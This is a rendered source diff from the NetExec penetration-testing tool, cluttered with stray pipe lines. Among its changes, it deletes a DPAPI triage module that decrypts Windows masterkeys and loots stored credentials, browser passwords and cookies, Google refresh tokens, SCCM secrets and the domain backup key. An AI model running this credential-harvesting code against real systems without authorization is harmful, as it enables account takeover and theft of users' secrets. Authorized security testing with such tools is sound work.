if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]: # ruff: ignore[needless-bool]
|
||||
return True
|
||||
if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]: # noqa: SIM103
|
||||
return True
|
||||
|
||||
return False
|
||||
return False
|
||||
|
||||
def query_db_creds(self):
|
||||
"""Queries the database for credentials to be used for authentication.
|
||||
@@ -487,6 +473,8 @@ class connection:
|
||||
- NTLM-hash (/kerberos)
|
||||
- AES-key
|
||||
"""
|
||||
if self.over_fail_limit(username):
|
||||
return False
|
||||
if self.args.continue_on_success and owned:
|
||||
return False
|
||||
|
||||
@@ -502,8 +490,6 @@ class connection:
|
||||
sleep(value)
|
||||
|
||||
with sem:
|
||||
if self.over_fail_limit(username):
|
||||
return False
|
||||
if cred_type == "plaintext":
|
||||
if self.kerberos:
|
||||
self.logger.debug("Trying to authenticate using Kerberos")
|
||||
@@ -559,7 +545,7 @@ class connection:
|
||||
if self.args.use_kcache:
|
||||
self.logger.debug("Trying to authenticate using Kerberos cache")
|
||||
with sem:
|
||||
username = self.args.username[0] if len(self.args.username) else CCache.parseFile()[1]
|
||||
username = self.args.username[0] if len(self.args.username) else ""
|
||||
password = self.args.password[0] if len(self.args.password) else ""
|
||||
self.kerberos_login(self.domain, username, password, "", "", self.kdcHost, True)
|
||||
self.logger.info("Successfully authenticated using Kerberos cache")
|
||||
@@ -606,9 +592,5 @@ class connection:
|
||||
self.modules = []
|
||||
|
||||
for module_path in self.module_paths:
|
||||
try:
|
||||
module = loader.init_module(module_path)
|
||||
except ModuleOptionsError as e:
|
||||
self.logger.debug(f"Skipping module: {e}")
|
||||
continue
|
||||
module = loader.init_module(module_path)
|
||||
self.modules.append(module)
|
||||
@@ -6,10 +6,6 @@ audit_mode =
|
||||
reveal_chars_of_pwd = 0
|
||||
log_mode = False
|
||||
host_info_colors = ["green", "red", "yellow", "cyan"]
|
||||
check_guest_account = False
|
||||
display_dc = True
|
||||
skip_self = False
|
||||
exclude_hosts = []
|
||||
|
||||
[BloodHound]
|
||||
bh_enabled = False
|
||||
|
||||
Binary file not shown.
+21
-55
@@ -1,21 +1,18 @@
|
||||
import configparser
|
||||
import ipaddress
|
||||
import platform
|
||||
import shutil
|
||||
import sys
|
||||
from os import mkdir
|
||||
from os.path import exists
|
||||
from os.path import join as path_join
|
||||
from pathlib import Path
|
||||
from sqlite3 import connect
|
||||
from threading import Lock
|
||||
|
||||
from sqlalchemy import Table, create_engine, MetaData, func
|
||||
from sqlalchemy.exc import (
|
||||
IllegalStateChangeError,
|
||||
NoInspectionAvailable,
|
||||
NoSuchTableError,
|
||||
)
|
||||
from sqlalchemy import create_engine, MetaData, func
|
||||
from sqlalchemy.exc import IllegalStateChangeError
|
||||
from sqlalchemy.orm import sessionmaker, scoped_session
|
||||
|
||||
from nxc.loaders.protocolloader import ProtocolLoader
|
||||
from nxc.logger import nxc_logger
|
||||
from nxc.paths import WORKSPACE_DIR
|
||||
@@ -60,15 +57,25 @@ def init_protocol_dbs(workspace_name, p_loader=None):
|
||||
if p_loader is None:
|
||||
p_loader = ProtocolLoader()
|
||||
protocols = p_loader.get_protocols()
|
||||
|
||||
for protocol in protocols:
|
||||
protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"])
|
||||
proto_db_path = path_join(WORKSPACE_DIR, workspace_name, f"{protocol}.db")
|
||||
|
||||
if not exists(proto_db_path):
|
||||
print(f"[*] Initializing {protocol.upper()} protocol database")
|
||||
db_engine = create_db_engine(proto_db_path)
|
||||
protocol_object.database.db_schema(db_engine)
|
||||
db_engine.dispose()
|
||||
conn = connect(proto_db_path)
|
||||
c = conn.cursor()
|
||||
|
||||
# try to prevent some weird sqlite I/O errors
|
||||
c.execute("PRAGMA journal_mode = OFF")
|
||||
c.execute("PRAGMA foreign_keys = 1")
|
||||
|
||||
protocol_object.database.db_schema(c)
|
||||
|
||||
# commit the changes and close everything off
|
||||
conn.commit()
|
||||
conn.close()
|
||||
|
||||
|
||||
def create_workspace(workspace_name, p_loader=None):
|
||||
@@ -152,44 +159,6 @@ class BaseDB:
|
||||
def reflect_tables(self):
|
||||
raise NotImplementedError("Reflect tables not implemented")
|
||||
|
||||
def reflect_table(self, table):
|
||||
with self.db_engine.connect():
|
||||
try:
|
||||
reflected_table = Table(table.__tablename__, self.metadata, autoload_with=self.db_engine)
|
||||
|
||||
# Check for column addition / deletion
|
||||
reflected_columns = set(reflected_table.columns.keys())
|
||||
orm_columns = {column.name for column in table.__table__.columns}
|
||||
if reflected_columns != orm_columns:
|
||||
raise ValueError(f"Schema mismatch detected! ORM columns: {orm_columns}, Reflected columns: {reflected_columns}")
|
||||
|
||||
# Check for constraint changes
|
||||
reflected_constraints = [(type(c), c.columns.keys()) for c in reflected_table._sorted_constraints]
|
||||
orm_constraints = [(type(c), c.columns.keys()) for c in table.__table__._sorted_constraints]
|
||||
if reflected_constraints != orm_constraints:
|
||||
raise ValueError(f"Schema mismatch detected! ORM constraints: {orm_constraints}, Reflected constraints: {reflected_constraints}")
|
||||
|
||||
return reflected_table
|
||||
except (NoInspectionAvailable, NoSuchTableError, ValueError) as e:
|
||||
commands_platform = {
|
||||
"Windows": [
|
||||
f"cmd /c copy {self.db_path} %USERPROFILE%\\nxc_{self.protocol.lower()}.bak",
|
||||
f"del {self.db_path}"
|
||||
],
|
||||
"Linux": [
|
||||
f"cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak",
|
||||
f"rm -f {self.db_path}"
|
||||
]
|
||||
}
|
||||
copy_command = commands_platform["Windows"][0] if platform.system() == "Windows" else commands_platform["Linux"][0]
|
||||
delete_command = commands_platform["Windows"][1] if platform.system() == "Windows" else commands_platform["Linux"][1]
|
||||
nxc_logger.fail(f"Schema mismatch detected for table '{table.__tablename__}' in protocol '{self.protocol}'")
|
||||
nxc_logger.debug(e)
|
||||
nxc_logger.fail("This is probably because a newer version of nxc is being run on an old DB schema.")
|
||||
nxc_logger.fail(f"Optionally save the old DB data (`{copy_command}`)")
|
||||
nxc_logger.fail(f"Then remove the {self.protocol} DB (`{delete_command}`) and run nxc to initialize the new DB")
|
||||
sys.exit()
|
||||
|
||||
def shutdown_db(self):
|
||||
try:
|
||||
self.sess.close()
|
||||
@@ -204,10 +173,7 @@ class BaseDB:
|
||||
self.db_execute(table.delete())
|
||||
|
||||
def db_execute(self, *args):
|
||||
with self.lock:
|
||||
res = self.sess.execute(*args)
|
||||
return res.freeze()() if res.returns_rows else res
|
||||
|
||||
def get_keys(self, key_id=None, cred_id=None):
|
||||
"""Return an empty list by default. Protocols that support keys (e.g. SSH) override this."""
|
||||
return []
|
||||
self.lock.acquire()
|
||||
res = self.sess.execute(*args)
|
||||
self.lock.release()
|
||||
return res
|
||||
@@ -24,18 +24,3 @@ class DefaultTrackingAction(Action):
|
||||
# Set an attribute to track whether the value was explicitly set
|
||||
setattr(namespace, self.dest, values)
|
||||
setattr(namespace, f"{self.dest}_explicitly_set", True)
|
||||
|
||||
|
||||
def get_conditional_action(baseAction):
|
||||
class ConditionalAction(baseAction):
|
||||
def __init__(self, option_strings, dest, **kwargs):
|
||||
x = kwargs.pop("make_required", [])
|
||||
super().__init__(option_strings, dest, **kwargs)
|
||||
self.make_required = x
|
||||
|
||||
def __call__(self, parser, namespace, values, option_string=None):
|
||||
for x in self.make_required:
|
||||
x.required = True
|
||||
super().__call__(parser, namespace, values, option_string)
|
||||
|
||||
return ConditionalAction
|
||||
@@ -1,461 +0,0 @@
|
||||
|
||||
from dploot.lib.network.smb import SMBTarget, DPLootSMBConnection
|
||||
from dploot.lib.target import Target
|
||||
from dploot.triage.backupkey import BackupkeyTriage
|
||||
from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken, Cookie
|
||||
from dploot.triage.cng import CngTriage
|
||||
from dploot.triage.credentials import CredentialsTriage
|
||||
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file, Masterkey
|
||||
from dploot.triage.sccm import SCCMTriage, SCCMCred, SCCMSecret, SCCMCollection
|
||||
from dploot.triage.vaults import VaultsTriage
|
||||
|
||||
from nxc.helpers.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
|
||||
from nxc.helpers.logger import highlight
|
||||
|
||||
|
||||
def upgrade_to_dploot_connection(target, connection):
|
||||
"""
|
||||
DPLootConnection classes implements a whole lot of stuff to handle the DPAPI part.
|
||||
This function gets the calling NXC protocol and tries reuse the already opened connection
|
||||
on DPLoot directly. If not it opens up a new connection.
|
||||
"""
|
||||
conn = None
|
||||
protocol = target.protocol
|
||||
try:
|
||||
match protocol:
|
||||
case "smb":
|
||||
from dploot.lib.network.smb import DPLootSMBConnection
|
||||
conn = DPLootSMBConnection(target)
|
||||
if connection is not None:
|
||||
conn.smb_session = connection.conn
|
||||
else:
|
||||
conn.connect()
|
||||
case "wmi":
|
||||
from dploot.lib.network.wmi import DPLootWMIConnection
|
||||
conn = DPLootWMIConnection(target)
|
||||
if connection is not None:
|
||||
conn.dcom = connection.dcom_conn
|
||||
conn.iWbemLevel1Login = connection.iWbemLevel1Login
|
||||
else:
|
||||
conn.connect()
|
||||
case "winrm":
|
||||
from dploot.lib.network.winrm import DPLootWINRMConnection
|
||||
conn = DPLootWINRMConnection(target)
|
||||
if connection is not None:
|
||||
conn.conn = connection.conn
|
||||
else:
|
||||
conn.connect()
|
||||
case "mssql":
|
||||
from dploot.lib.network.mssql import DPLootMSSQLConnection
|
||||
conn = DPLootMSSQLConnection(target)
|
||||
if connection is not None:
|
||||
conn.conn = connection.conn
|
||||
except Exception as e:
|
||||
connection.logger.debug(e)
|
||||
return None
|
||||
|
||||
return conn
|
||||
|
||||
|
||||
class DPAPITriage:
|
||||
"""
|
||||
DPAPI engine in NetExec. Each protocol supporting DPAPI needs to implement this class.
|
||||
Since multiple NXC functionalities now implements DPAPI related secret recovery, this class aims to centralize
|
||||
it in order to ease implemented and maintaining DPAPI functionalities is NXC protocols, but also
|
||||
to avoid dumping masterkeys X times from the same target, loading the domain backup keys X times, etc.
|
||||
|
||||
To implement this class in a protocol, use a @property decorator on dpapi_triage like so:
|
||||
|
||||
```
|
||||
@property
|
||||
def dpapi_triage(self) -> DPAPITriage:
|
||||
if self._dpapi_triage is not None:
|
||||
return self._dpapi_triage
|
||||
target = <dploot target creation>
|
||||
|
||||
self._dpapi_triage = DPAPITriage(self, target)
|
||||
return self._dpapi_triage
|
||||
```
|
||||
|
||||
This way, every DPAPI related module will automaticaly work with the protocol
|
||||
|
||||
"""
|
||||
def __init__(self, connection, target: Target):
|
||||
self.connection = connection
|
||||
self.target = target
|
||||
|
||||
self.conn = None
|
||||
self.dump_cookies = False
|
||||
self.masterkeys = []
|
||||
self._pvkbytes = None
|
||||
|
||||
# Keep track of writing secrets in file
|
||||
self.output_file = self.connection.output_file_template.format(output_folder="dpapi")
|
||||
self.secrets_counter = 0
|
||||
|
||||
if connection.args.dpapi is not None:
|
||||
self.dump_cookies = "cookies" in connection.args.dpapi
|
||||
|
||||
# Variables to know what materkey types have already been dumped
|
||||
self.system_masterkeys_already_dumped = False
|
||||
self.users_masterkeys_already_dumped = False
|
||||
|
||||
# Initialize the connection here, if you need this class then you will need the connection
|
||||
self.init_connection()
|
||||
|
||||
def __del__(self):
|
||||
# When everything is finished, then we give the feedback to the user
|
||||
if self.output_file is not None and self.secrets_counter > 0:
|
||||
self.connection.logger.success(f"Dumped {highlight(self.secrets_counter)} DPAPI secrets to {self.output_file}")
|
||||
|
||||
def log_secret(self, line, logger=None):
|
||||
# Handle the secret counter here, avoid to handle it in multiple places
|
||||
if logger is None:
|
||||
logger = self.connection.logger
|
||||
logger.highlight(line)
|
||||
with open(self.output_file, "a", encoding="utf-8") as fd:
|
||||
self.secrets_counter += 1
|
||||
fd.write(line + "\n")
|
||||
|
||||
def init_connection(self):
|
||||
"""Tries to initiate a DPLootConnection object from a NXC connection"""
|
||||
if self.conn is not None:
|
||||
self.connection.logger.debug("DPLoot connection already initiated, skipping.")
|
||||
return
|
||||
self.conn = upgrade_to_dploot_connection(connection=self.connection, target=self.target)
|
||||
if self.conn is None:
|
||||
self.connection.logger.fail("Could not upgrade connection to allow DPAPI triage")
|
||||
return
|
||||
|
||||
def collect_masterkeys_from_target(self, dump_users: True, dump_system: False):
|
||||
"""
|
||||
Get and decrypt masterkeys from the target.
|
||||
dump_users: If True, then user masterkeys will be collected if they have not already been
|
||||
dump_system: If True, then system masterkeys will be collected if they have not already been
|
||||
"""
|
||||
# If we have already dumped everything, then we won't find new stuff
|
||||
if self.users_masterkeys_already_dumped and self.system_masterkeys_already_dumped:
|
||||
return self.masterkeys
|
||||
|
||||
masterkeys = []
|
||||
plaintexts = {}
|
||||
nthashes = {}
|
||||
|
||||
# First, check and handle the mkfile arg
|
||||
if self.connection.args.mkfile is not None:
|
||||
try:
|
||||
masterkeys += parse_masterkey_file(self.connection.args.mkfile)
|
||||
except Exception as e:
|
||||
self.connection.logger.fail(str(e))
|
||||
|
||||
# Then, use nxcdb to fill wordlists, this can help to decrypt some masterkeys
|
||||
if dump_users:
|
||||
users = self.conn.list_users()
|
||||
plaintexts = {username: password for _, _, username, password, _, _ in self.connection.db.get_credentials_for_users(usernames=users, cred_type="plaintext")}
|
||||
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in self.connection.db.get_credentials_for_users(usernames=users, cred_type="hash")}
|
||||
# dploot matches user.lower()
|
||||
if self.connection.password != "":
|
||||
plaintexts[self.connection.username.lower()] = self.connection.password
|
||||
if self.connection.nthash != "":
|
||||
nthashes[self.connection.username.lower()] = self.connection.nthash
|
||||
|
||||
# Now prepare the SYSTEM part
|
||||
if (dump_system
|
||||
and self.connection.dpapi_system_key is None
|
||||
and hasattr(self.connection, "lsa")
|
||||
and callable(self.connection.lsa)):
|
||||
# We can use the protocol specific LSA dump if not already dumped.
|
||||
# But first, just making sure the protocol supports LSA dump :)
|
||||
self.connection.logger.display("Dumping LSA secrets to get DPAPI SYSTEM keys")
|
||||
self.connection.lsa(quiet=True)
|
||||
if self.connection.dpapi_system_key is not None:
|
||||
self.connection.logger.highlight(f"dpapi_machinekey:{self.connection.dpapi_system_key['MachineKey'].hex()}")
|
||||
self.connection.logger.highlight(f"dpapi_userkey:{self.connection.dpapi_system_key['UserKey'].hex()}")
|
||||
else:
|
||||
self.connection.logger.fail("Could not get DPAPI SYSTEM keys")
|
||||
|
||||
# Invoke MasterkeyTriage class
|
||||
try:
|
||||
masterkeys_triage = MasterkeysTriage(
|
||||
target=self.target,
|
||||
conn=self.conn,
|
||||
pvkbytes=self.pvkbytes,
|
||||
passwords=plaintexts,
|
||||
nthashes=nthashes,
|
||||
dpapiSystem=self.connection.dpapi_system_key,
|
||||
)
|
||||
self.connection.logger.debug(f"Masterkeys Triage: {masterkeys_triage}")
|
||||
|
||||
# Collect User Masterkeys if this has not already been done
|
||||
if dump_users and not self.users_masterkeys_already_dumped:
|
||||
self.connection.logger.display("Collecting DPAPI Users masterkeys")
|
||||
masterkeys += masterkeys_triage.triage_masterkeys()
|
||||
# if multiple functionalities are calling masterkeys triage, make sur we do it only once
|
||||
self.users_masterkeys_already_dumped = True
|
||||
|
||||
# Collect SYSTEM Masterkeys if this has not already been done
|
||||
if self.connection.dpapi_system_key is not None and not self.system_masterkeys_already_dumped:
|
||||
self.connection.logger.display("Collecting DPAPI SYSTEM masterkeys")
|
||||
masterkeys += masterkeys_triage.triage_system_masterkeys()
|
||||
# if multiple functionalities are calling masterkeys triage, make sur we do it only once
|
||||
self.system_masterkeys_already_dumped = True
|
||||
except Exception as e:
|
||||
self.connection.logger.debug(f"Could not get masterkeys: {e}")
|
||||
self.masterkeys += masterkeys
|
||||
# If we decrypted new masterkeys, print the message
|
||||
if len(masterkeys) > 0:
|
||||
self.connection.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. ")
|
||||
return self.masterkeys
|
||||
|
||||
def triage_credentials(self, masterkeys: list[Masterkey]):
|
||||
# Collect User and Machine Credentials Manager secrets
|
||||
|
||||
def credential_callback(credential):
|
||||
tag = "CREDENTIAL"
|
||||
line = f"[{credential.winuser}][{tag}] {credential.target} - {credential.username}:{credential.password}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
tag,
|
||||
credential.winuser,
|
||||
credential.username,
|
||||
credential.password,
|
||||
credential.target,
|
||||
)
|
||||
|
||||
try:
|
||||
credentials_triage = CredentialsTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_credential_callback=credential_callback)
|
||||
self.connection.logger.debug(f"Credentials Triage Object: {credentials_triage}")
|
||||
credentials_triage.triage_credentials()
|
||||
credentials_triage.triage_system_credentials()
|
||||
except Exception as e:
|
||||
self.connection.logger.debug(f"Error while looting credentials: {e}")
|
||||
|
||||
def triage_chromium(self, masterkeys: list[Masterkey]):
|
||||
cng_chromekey = None
|
||||
# We need the CNG triage to recover Chrome passwords since Chrome v137
|
||||
try:
|
||||
cng_triage = CngTriage(target=self.target, conn=self.conn, masterkeys=masterkeys)
|
||||
for cng_file in cng_triage.triage_system_cng():
|
||||
if cng_file.cng_blob["Name"].decode("utf-16le").rstrip("\0") == "Google Chromekey1":
|
||||
self.connection.logger.debug("Found CNG Google ChromeKey1\n")
|
||||
cng_chromekey = cng_file.decrypted_private_key
|
||||
except Exception as e:
|
||||
self.connection.logger.debug(f"Error while getting CNG ChromeKey1: {e}")
|
||||
|
||||
# Collect Chrome Based Browser stored secrets
|
||||
def browser_callback(secret):
|
||||
if isinstance(secret, LoginData):
|
||||
secret_url = secret.url + " -" if secret.url != "" else "-"
|
||||
line = f"[{secret.winuser}][{secret.browser.upper()}] {secret_url} {secret.username}:{secret.password}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
secret.browser.upper(),
|
||||
secret.winuser,
|
||||
secret.username,
|
||||
secret.password,
|
||||
secret.url,
|
||||
)
|
||||
elif isinstance(secret, GoogleRefreshToken):
|
||||
line = f"[{secret.winuser}][{secret.browser.upper()}] Google Refresh Token: {secret.service}:{secret.token}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
secret.browser.upper(),
|
||||
secret.winuser,
|
||||
secret.service,
|
||||
secret.token,
|
||||
"Google Refresh Token",
|
||||
)
|
||||
elif isinstance(secret, Cookie):
|
||||
line = f"[{secret.winuser}][{secret.browser.upper()}] {secret.host}{secret.path} - {secret.cookie_name}:{secret.cookie_value}"
|
||||
self.log_secret(line)
|
||||
|
||||
try:
|
||||
browser_triage = BrowserTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_secret_callback=browser_callback)
|
||||
browser_triage.triage_browsers(gather_cookies=self.dump_cookies, cng_chromekey=cng_chromekey)
|
||||
except Exception as e:
|
||||
self.connection.logger.debug(f"Error while looting browsers: {e}")
|
||||
|
||||
def triage_vaults(self, masterkeys: list[Masterkey]):
|
||||
def vault_callback(secret):
|
||||
tag = "IEX"
|
||||
if secret.type == "Internet Explorer":
|
||||
resource = secret.resource + " -" if secret.resource != "" else "-"
|
||||
line = f"[{secret.winuser}][{tag}] {resource} - {secret.username}:{secret.password}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
tag,
|
||||
secret.winuser,
|
||||
secret.username,
|
||||
secret.password,
|
||||
secret.resource,
|
||||
)
|
||||
|
||||
try:
|
||||
# Collect User Internet Explorer stored secrets
|
||||
vaults_triage = VaultsTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_vault_callback=vault_callback)
|
||||
vaults_triage.triage_vaults()
|
||||
except Exception as e:
|
||||
self.connection.logger.debug(f"Error while looting vaults: {e}")
|
||||
|
||||
def triage_firefox(self):
|
||||
def firefox_callback(secret):
|
||||
tag = "FIREFOX"
|
||||
if isinstance(secret, FirefoxData):
|
||||
url = secret.url + " -" if secret.url != "" else "-"
|
||||
line = f"[{secret.winuser}][{tag}] {url} {secret.username}:{secret.password}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
tag,
|
||||
secret.winuser,
|
||||
secret.username,
|
||||
secret.password,
|
||||
secret.url,
|
||||
)
|
||||
elif isinstance(secret, FirefoxCookie):
|
||||
line = f"[{secret.winuser}][{tag}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}"
|
||||
self.log_secret(line)
|
||||
|
||||
try:
|
||||
# Collect Firefox stored secrets
|
||||
firefox_triage = FirefoxTriage(target=self.target, logger=self.connection.logger, conn=self.conn, per_secret_callback=firefox_callback)
|
||||
firefox_triage.run(gather_cookies=self.dump_cookies)
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error while looting firefox: {e}")
|
||||
|
||||
# The dpapi function for every protocol
|
||||
def triage_dpapi(self):
|
||||
# Load masterkeys
|
||||
masterkeys = self.collect_masterkeys_from_target(dump_users=True, dump_system="nosystem" not in self.connection.args.dpapi)
|
||||
if len(masterkeys) == 0:
|
||||
# Nothing will be recovered if no masterkeys, so we can stop there
|
||||
self.connection.logger.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
self.connection.logger.success("Looting secrets...")
|
||||
|
||||
# Calling all the triage functions. We can add other triage functions here
|
||||
self.triage_credentials(masterkeys)
|
||||
self.triage_chromium(masterkeys)
|
||||
self.triage_vaults(masterkeys)
|
||||
self.triage_firefox()
|
||||
|
||||
def triage_sccm(self):
|
||||
masterkeys = self.collect_masterkeys_from_target(dump_users=False, dump_system=True)
|
||||
if len(masterkeys) == 0:
|
||||
self.connection.logger.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
self.connection.logger.success("Looting SCCM Credentials")
|
||||
|
||||
def sccm_callback(secret):
|
||||
if isinstance(secret, SCCMCred):
|
||||
tag = "NAA Account"
|
||||
line = f"[{tag}] {secret.username.decode('latin-1')}:{secret.password.decode('latin-1')}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
f"SCCM - {tag}",
|
||||
"SYSTEM",
|
||||
secret.username.decode("latin-1"),
|
||||
secret.password.decode("latin-1"),
|
||||
"N/A",
|
||||
)
|
||||
elif isinstance(secret, SCCMSecret):
|
||||
tag = "Task sequences secret"
|
||||
line = f"[{tag}] {secret.secret.decode('latin-1')}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
f"SCCM - {tag}",
|
||||
"SYSTEM",
|
||||
"N/A",
|
||||
secret.secret.decode("latin-1"),
|
||||
"N/A",
|
||||
)
|
||||
elif isinstance(secret, SCCMCollection):
|
||||
tag = "Collection Variable"
|
||||
line = f"[{tag}] {secret.variable.decode('latin-1')}:{secret.value.decode('latin-1')}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
f"SCCM - {tag}",
|
||||
"SYSTEM",
|
||||
secret.variable.decode("latin-1"),
|
||||
secret.value.decode("latin-1"),
|
||||
"N/A",
|
||||
)
|
||||
try:
|
||||
sccm_triage = SCCMTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_secret_callback=sccm_callback)
|
||||
sccm_triage.triage_sccm()
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error while looting sccm: {e}")
|
||||
|
||||
@property
|
||||
def pvkbytes(self):
|
||||
"""
|
||||
The pvkbytes. If not already initialized, tries to set it
|
||||
The precedence order is the following :
|
||||
- Check the pvk argument
|
||||
- Checks in the DB
|
||||
- Get it from a domain controller
|
||||
"""
|
||||
# pvkbytes already loaded and in cache ? Serve it
|
||||
if self._pvkbytes is not None:
|
||||
return self._pvkbytes
|
||||
|
||||
pvkbytes = None
|
||||
|
||||
# First check the pvk argument and handle it
|
||||
if self.connection.args.pvk is not None:
|
||||
try:
|
||||
with open(self.connection.args.pvk, "rb") as fd:
|
||||
pvkbytes = fd.read()
|
||||
self.connection.logger.success(f"Loading domain backupkey from {self.connection.args.pvk}")
|
||||
except Exception as e:
|
||||
self.connection.logger.fail(str(e))
|
||||
|
||||
# If no pvkbytes yet, then we check in the DB
|
||||
if pvkbytes is None:
|
||||
try:
|
||||
results = self.connection.db.get_domain_backupkey(self.connection.domain)
|
||||
except Exception:
|
||||
self.connection.logger.fail("Your version of nxcdb is not up to date, run nxcdb and create a new workspace: 'workspace create dpapi' then re-run the dpapi option")
|
||||
return False
|
||||
if len(results) > 0:
|
||||
self.connection.logger.success("Loading domain backupkey from nxcdb...")
|
||||
pvkbytes = results[0][2]
|
||||
|
||||
# If no pvkbytes yet, then we can try to get it from a domain controller
|
||||
if pvkbytes is None and self.connection.no_da is None and self.connection.args.local_auth is False:
|
||||
try:
|
||||
dc_target = SMBTarget.create(
|
||||
domain=self.connection.domain,
|
||||
username=self.connection.username,
|
||||
password=self.connection.password,
|
||||
address=self.connection.kdcHost, # querying DNS server for domain will return DC
|
||||
lmhash=self.connection.lmhash,
|
||||
nthash=self.connection.nthash,
|
||||
do_kerberos=self.connection.kerberos,
|
||||
aesKey=self.connection.aesKey,
|
||||
use_kcache=self.connection.use_kcache,
|
||||
)
|
||||
dc_conn = DPLootSMBConnection(dc_target)
|
||||
dc_conn.connect() # Connect to DC
|
||||
if dc_conn.is_admin():
|
||||
self.connection.logger.success("User is Domain Administrator, exporting domain backupkey...")
|
||||
backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn)
|
||||
backupkey = backupkey_triage.triage_backupkey()
|
||||
pvkbytes = backupkey.backupkey_v2
|
||||
self.connection.db.add_domain_backupkey(self.connection.domain, pvkbytes)
|
||||
else:
|
||||
self.connection.no_da = False
|
||||
except Exception as e:
|
||||
self.connection.logger.fail(f"Could not get domain backupkey: {e}")
|
||||
|
||||
self._pvkbytes = pvkbytes
|
||||
return self._pvkbytes
|
||||
@@ -4,7 +4,6 @@ import struct
|
||||
import uuid
|
||||
|
||||
from datetime import datetime
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
|
||||
class Substitution:
|
||||
@@ -46,7 +45,7 @@ class Substitution:
|
||||
elif self._type == 0xf:
|
||||
return str(uuid.UUID(bytes_le=value.data))
|
||||
else:
|
||||
nxc_logger.display(f"Unknown value type {hex(value.type)}")
|
||||
print("Unknown value type", hex(value.type))
|
||||
|
||||
|
||||
class Value:
|
||||
@@ -71,7 +70,7 @@ class Attribute:
|
||||
elif next_token[0] == 0x0e:
|
||||
self._value = Substitution(buf, offset + 1 + self._name.length)
|
||||
else:
|
||||
nxc_logger.display(f"Unknown attribute next_token {hex(next_token[0])} {hex(offset + 1 + self._name.length)}")
|
||||
print("Unknown attribute next_token", hex(next_token[0]), hex(offset + 1 + self._name.length))
|
||||
|
||||
self.length = 1 + self._name.length + self._value.length
|
||||
|
||||
@@ -124,7 +123,7 @@ class Element:
|
||||
elif next_token == 0x0e or next_token == 0x0d:
|
||||
element = Substitution(buf, ofs)
|
||||
else:
|
||||
nxc_logger.display(f"Unknown intern next_token {hex(next_token)} {hex(ofs)}")
|
||||
print("Unknown intern next_token", hex(next_token), hex(ofs))
|
||||
break
|
||||
|
||||
self._children.append(element)
|
||||
@@ -136,7 +135,7 @@ class Element:
|
||||
ofs += 1
|
||||
break
|
||||
else:
|
||||
nxc_logger.display(f"Unknown element next_token {hex(next_token)} {hex(ofs)}")
|
||||
print("Unknown element next_token", hex(next_token), hex(ofs))
|
||||
break
|
||||
|
||||
self.length = ofs - offset
|
||||
@@ -182,7 +181,7 @@ class TemplateInstance:
|
||||
|
||||
self.length = 22 + self._xml.length + 5 + num_values * 4 + values_length
|
||||
else:
|
||||
nxc_logger.display(f"Unknown template token {hex(next_token)}")
|
||||
print("Unknown template token", hex(next_token))
|
||||
|
||||
def xml(self, template=None):
|
||||
return self._xml.xml(self)
|
||||
@@ -197,7 +196,7 @@ class BinXML:
|
||||
elif next_token == 0x01 or next_token == 0x41:
|
||||
self._element = Element(buf, offset + 4)
|
||||
else:
|
||||
nxc_logger.display(f"Unknown binxml token {hex(next_token)}")
|
||||
print("Unknown binxml token", hex(next_token))
|
||||
|
||||
self.length = 4 + self._element.length
|
||||
|
||||
|
||||
+1
-110
@@ -1,13 +1,10 @@
|
||||
from enum import Enum
|
||||
import random
|
||||
import string
|
||||
import re
|
||||
import inspect
|
||||
import os
|
||||
from termcolor import colored
|
||||
|
||||
from ipaddress import ip_address
|
||||
from nxc.logger import nxc_logger
|
||||
from time import strftime, gmtime
|
||||
|
||||
|
||||
def identify_target_file(target_file):
|
||||
@@ -148,109 +145,3 @@ def detect_if_ip(target):
|
||||
return True
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
|
||||
def d2b(a):
|
||||
"""
|
||||
Function used to convert password property flags from decimal to binary
|
||||
format for easier interpretation of individual flag bits.
|
||||
"""
|
||||
tbin = []
|
||||
while a:
|
||||
tbin.append(a % 2)
|
||||
a //= 2
|
||||
|
||||
t2bin = tbin[::-1]
|
||||
if len(t2bin) != 8:
|
||||
for _x in range(6 - len(t2bin)):
|
||||
t2bin.insert(0, 0)
|
||||
return "".join([str(g) for g in t2bin])
|
||||
|
||||
|
||||
def convert(low, high, lockout=False):
|
||||
"""
|
||||
Convert Windows FILETIME (64-bit) values to human-readable time strings.
|
||||
|
||||
Windows stores time intervals as 64-bit values representing 100-nanosecond
|
||||
intervals since January 1, 1601. This function converts these values to
|
||||
readable format like "30 days 5 hours 15 minutes".
|
||||
|
||||
Args:
|
||||
low (int): Low 32 bits of the FILETIME value
|
||||
high (int): High 32 bits of the FILETIME value
|
||||
